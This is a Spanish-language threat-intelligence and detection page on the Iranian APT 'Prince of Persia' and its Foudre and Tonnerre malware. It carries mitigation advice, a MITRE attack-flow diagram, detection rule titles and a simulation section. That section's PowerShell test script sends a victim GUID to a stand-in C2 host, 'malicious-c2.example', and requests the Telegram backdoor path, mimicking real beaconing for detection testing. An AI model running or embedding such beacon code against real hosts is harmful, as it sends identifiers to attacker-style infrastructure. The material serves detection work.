Prince of Persia: una revisión de 10 años sobre la actividad del APT iraní
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumen
El informe perfila al grupo APT vinculado al estado iraní denominado Príncipe de Persia y rastrea su progresión durante la última década, con énfasis en la actividad observada desde 2023 hasta 2025. Los operadores dependen de familias de malware personalizadas, incluyendo Foudre, Tonnerre, MaxPinner, Rugissement y Deep Freeze, para apoyar el espionaje y el robo sistemático de datos. Las iteraciones recientes introducen algoritmos de generación de dominios, comando y control basado en Telegram y cargas útiles SFX encriptadas para mejorar la resiliencia y el camuflaje. Los objetivos abarcan infraestructuras críticas y redes vinculadas a disidentes en múltiples regiones.
Investigación
Investigadores de SafeBreach siguieron las operaciones del grupo desde 2019, recopilando muestras frescas, documentando la arquitectura C2 y analizando la lógica del DGA. Desencriptaron cargas útiles protegidas, extrajeron credenciales de bot de Telegram y construyeron una línea de tiempo de despliegues de variantes. La investigación destaca infraestructuras separadas de producción y pruebas y detalla comportamientos de entrega de archivos vinculados a cadenas de infección impulsadas por Excel. Los indicadores de compromiso se reunieron de hashes de malware, dominios y URLs.
Mitigación
Monitorear la actividad DNS para los patrones DGA identificados, bloquear dominios maliciosos conocidos y restringir o inspeccionar el tráfico relacionado con bots de Telegram. Añadir detecciones para los nombres de archivos de malware referenciados y artefactos de DLL loaders, y usar monitoreo/sinkholing de DNS para detectar infraestructuras rotativas. Imponer lista blanca de aplicaciones y reforzar la seguridad de Office limitando los macros para reducir la probabilidad de acceso inicial.
Respuesta
Si se encuentra algún indicador, poner en cuarentena el sistema afectado, capturar evidencia volátil y ejecutar forense dirigido en archivos depositados y rutas de registro relevantes. Bloquear todos los dominios y direcciones IP vinculados, rotar los tokens de bot de Telegram expuestos y restablecer credenciales para cuentas afectadas. Buscar en todo el entorno los restos de DLL loaders personalizados y cargas SFX cifradas para asegurar la erradicación completa.
«graph TB %% Definiciones de Clase classDef action fill:#99ccff classDef malware fill:#ffcc99 classDef tool fill:#ffe699 classDef file fill:#ccffcc classDef process fill:#ffdddd classDef operator fill:#ff9900 %% Definiciones de Nodos action_initial[«<b>Acción</b> – <b>T1566.001 Spearphishing Attachment</b><br/>La víctima recibe un archivo adjunto de Excel malicioso»] class action_initial action file_excel[«<b>Archivo</b> – Excel malicioso con macro<br/>Deja caer ccupdate.tmp»] class file_excel file malware_foudre[«<b>Malware</b> – Foudre (ccupdate.tmp)<br/>Carga útil SFX cifrada»] class malware_foudre malware process_macro[«<b>Proceso</b> – Ejecución de macro»] class process_macro process action_execution[«<b>Acción</b> – <b>T1204.002 Ejecución de Usuario: Archivo Malicioso</b><br/>La víctima abre Excel»] class action_execution action action_obfuscation[«<b>Acción</b> – <b>T1027.009 Cargas Útiles Incrustadas</b><br/>Carga útil cifrada y camuflada»] class action_obfuscation action file_camDLL[«<b>Archivo</b> – DLL disfrazado como video MP4»] class file_camDLL file action_deobfuscate[«<b>Acción</b> – <b>T1140 Desofuscación/Decodificación de Archivos</b><br/>Descifra la carga útil con una contraseña codificada de forma rígida»] class action_deobfuscate action process_decrypt[«<b>Proceso</b> – Rutina de descifrado»] class process_decrypt process action_dga[«<b>Acción</b> – <b>T1568.002 Resolución Dinámica (DGA)</b><br/>Genera dominios LOS1, FTS1, u2026»] class action_dga action process_dga[«<b>Proceso</b> – Algoritmo de generación de dominios»] class process_dga process action_webc2[«<b>Acción</b> – <b>T1102.002 Comunicación Bidireccional con Servicios Web</b><br/>HTTP GET con GUID, versión, información del usuario»] class action_webc2 action process_http[«<b>Proceso</b> – Solicitud/respuesta HTTP»] class process_http process action_telegram[«<b>Acción</b> – Uso de Bot de Telegram para C2»] class action_telegram action file_tga[«<b>Archivo</b> – tga.adr (cliente bot de Telegram)»] class file_tga file process_telegram[«<b>Proceso</b> – Se comunica vía API de Telegram usando token de bot»] class process_telegram process action_exfil[«<b>Acción</b> – <b>T1041 Exfiltración a través del Canal C2</b><br/>Carga archivos robados en directorios C2»] class action_exfil action file_exfil[«<b>Archivo</b> – Nombres de archivo codificados, contenido cifrado»] class file_exfil file action_data_obfusc[«<b>Acción</b> – <b>T1001 Ofuscación de Datos</b><br/>Almacena datos exfiltrados con nombres codificados y cifrados»] class action_data_obfusc action %% Conexiones que muestran el flujo action_initial u002du002d>|entrega| file_excel file_excel u002du002d>|deja caer| malware_foudre malware_foudre u002du002d>|ejecuta vía| process_macro process_macro u002du002d>|conduce a| action_execution action_execution u002du002d>|activa| action_obfuscation action_obfuscation u002du002d>|usa| file_camDLL action_obfuscation u002du002d>|conduce a| action_deobfuscate action_deobfuscate u002du002d>|ejecuta| process_decrypt process_decrypt u002du002d>|produce| malware_foudre malware_foudre u002du002d>|inicia| action_dga action_dga u002du002d>|ejecuta| process_dga process_dga u002du002d>|resuelve a| action_webc2 action_webc2 u002du002d>|usa| process_http process_http u002du002d>|descarga| file_tga file_tga u002du002d>|habilita| action_telegram action_telegram u002du002d>|usa| process_telegram process_telegram u002du002d>|exfiltra vía| action_exfil action_exfil u002du002d>|almacena como| file_exfil file_exfil u002du002d>|aplica| action_data_obfusc «
Flujo de Ataque
Detecciones
Posible Uso Abusivo de Telegram Como Canal de Comando y Control (vía dns_query)
Ver
Posible Infiltración / Exfiltración de Datos / C2 a través de Servicios/ Herramientas de Terceros (vía proxy)
Ver
Comando y Control Sospechoso por Solicitud DNS de Dominio de Nivel Superior (TLD) Inusual (vía dns)
Ver
Ejecución Sospechosa de Taskkill (vía cmdline)
Ver
IOCs (HashSha256) para detectar: 18 DIC 2025 Príncipe de Persia: Una Década de Actividades de Campaña APT del Estado Nación Iraní Bajo el Microscopio Parte 2
Ver
IOCs (SourceIP) para detectar: 18 DIC 2025 Príncipe de Persia: Una Década de Actividades de Campaña APT del Estado Nación Iraní Bajo el Microscopio
Ver
IOCs (HashSha256) para detectar: 18 DIC 2025 Príncipe de Persia: Una Década de Actividades de Campaña APT del Estado Nación Iraní Bajo el Microscopio Parte 1
Ver
IOCs (HashMd5) para detectar: 18 DIC 2025 Príncipe de Persia: Una Década de Actividades de Campaña APT del Estado Nación Iraní Bajo el Microscopio
Ver
IOCs (DestinationIP) para detectar: 18 DIC 2025 Príncipe de Persia: Una Década de Actividades de Campaña APT del Estado Nación Iraní Bajo el Microscopio
Ver
Detección de Infección Foudre v34 a través de Archivo Excel con Ejecutable Embebido [Creación de Proceso de Windows]
Ver
Detección de Comunicación C2 de Foudre y Tonnerre [Conexión de Red de Windows]
Ver
Ejecución de Simulación
Prerequisito: La Verificación Previa de Telemetría y Línea Base debe haber pasado.
Razonamiento: Esta sección detalla la ejecución precisa de la técnica adversaria (T1584.005) diseñada para activar la regla de detección. Los comandos y la narrativa DEBEN reflejar directamente las TTPs identificadas y apuntar a generar exactamente la telemetría esperada por la lógica de detección.
-
Narrativa del Ataque y Comandos:
El actor de la amenaza ha aprovisionado un dominio maliciosomalicious-c2.exampleque aloja el servidor C2 de Foudre/Tonnerre. La carga útil del atacante en la máquina de la víctima realiza dos solicitudes HTTP GET:- Envía el GUID de la víctima al endpoint C2 de Foudre usando el camino
/1/?c=<GUID>. - Contacta la API de Telegram a través del backdoor Tonnerre usando el camino
/t/tga.adr.
Ambas solicitudes se realizan sobre HTTP (para simplificar el registro de proxy) e incluyen un User-Agent genérico para mezclarse con el tráfico normal. Las acciones generan los campos exactos (
request_method=GET,urlconteniendo las subcadenas objetivo) que la regla Sigma busca. - Envía el GUID de la víctima al endpoint C2 de Foudre usando el camino
-
Script de Prueba de Regresión:
# ------------------------------------------------------------ # Simulación de Comunicación C2 de Foudre & Tonnerre (Windows) # ------------------------------------------------------------ # 1. Definir GUID de víctima (en una infección real, esto se leería del registro) $guid = (New-Guid).Guid # 2. Definir host C2 malicioso (reemplazar con una dirección que controles para pruebas) $c2Host = "http://malicious-c2.example" # 3. Enviar GUID al endpoint C2 de Foudre $foudreUrl = "$c2Host/1/?c=$guid" Write-Host "[*] Enviando GUID a Foudre C2: $foudreUrl" Invoke-WebRequest -Uri $foudreUrl -Method GET -UseBasicParsing # 4. Contactar la API de Telegram vía backdoor Tonnerre $telegramUrl = "$c2Host/t/tga.adr" Write-Host "[*] Contactando el endpoint de API de Telegram: $telegramUrl" Invoke-WebRequest -Uri $telegramUrl -Method GET -UseBasicParsing Write-Host "[+] Simulación completa. Verificar SIEM para alertas."El script es autónomo; ejecutarlo en un host Windows que enrute tráfico a través del proxy configurado producirá dos entradas de registro que coinciden con
url|containslas condiciones de la regla Sigma. -
Comandos de Limpieza:
# Eliminar cualquier conexión de red temporal (solo relevante si el proxy crea sesiones persistentes) # Aquí simplemente limpiamos la caché DNS para evitar resolución persistente del host malicioso. ipconfig /flushdns Write-Host "[*] Limpieza completa."